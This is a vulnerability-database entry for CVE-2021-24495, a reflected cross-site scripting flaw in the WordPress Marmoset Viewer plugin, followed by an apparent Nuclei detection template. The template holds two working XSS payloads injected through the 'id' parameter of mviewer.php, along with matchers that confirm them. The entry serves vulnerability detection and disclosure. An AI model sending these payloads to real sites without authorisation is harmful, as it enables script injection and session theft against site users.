CVE-2021-24495: Wordpress Marmoset Viewer <1.9.3 - Cross-Site Scripting

2025-08-01 Wordpress PoC Public

Description

WordPress Marmoset Viewer plugin before 1.9.3 contains a cross-site scripting vulnerability. It does not property sanitize, validate, or escape the 'id' parameter before outputting back in the page.

PoC

id: CVE-2021-24495

info:
  name: Wordpress Marmoset Viewer <1.9.3 - Cross-Site Scripting
  author: johnjhacking
  severity: medium
  description: WordPress Marmoset Viewer plugin before 1.9.3 contains a cross-site scripting vulnerability. It does not property sanitize, validate, or escape the 'id' parameter before outputting back in the page.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
  remediation: |
    Update the Wordpress Marmoset Viewer plugin to version 1.9.3 or later to mitigate the vulnerability.
  reference:
    - https://johnjhacking.com/blog/cve-2021-24495-improper-neutralization-of-input-during-web-page-generation-on-id-parameter-in-wordpress-marmoset-viewer-plugin-versions-1.9.3-leads-to-reflected-cross-site-scripting/
    - https://wordpress.org/plugins/marmoset-viewer/#developers
    - https://wpscan.com/vulnerability/d11b79a3-f762-49ab-b7c8-3174624d7638
    - https://nvd.nist.gov/vuln/detail/CVE-2021-24495
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2021-24495
    cwe-id: CWE-79
    epss-score: 0.03343
    epss-percentile: 0.88115
    cpe: cpe:2.3:a:marmoset:marmoset_viewer:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 2
    vendor: marmoset
    product: marmoset_viewer
    framework: wordpress
  tags: cve2021,cve,xss,wpscan,wp-plugin,wordpress,intrusive,marmoset,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=http://</script><svg/onload=alert(%27{{randstr}}%27)>"
      - "{{BaseURL}}/wp-content/plugins/marmoset-viewer/mviewer.php?id=1+http://a.com%27);alert(/{{randstr}}/);marmoset.embed(%27a"

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - </script><svg/onload=alert('{{randstr}}')>
          - alert(/{{randstr}}/)
        condition: or

      - type: word
        words:
          - Marmoset Viewer

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a004630440220151fcc130b773a6d06050dc3b97dd1517df031de09e5b91ab1080851d953f15002201ae78b961e756569941ffe56c9cca06f3dcc40cbc5528d72be5af2ff6eb5811d:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

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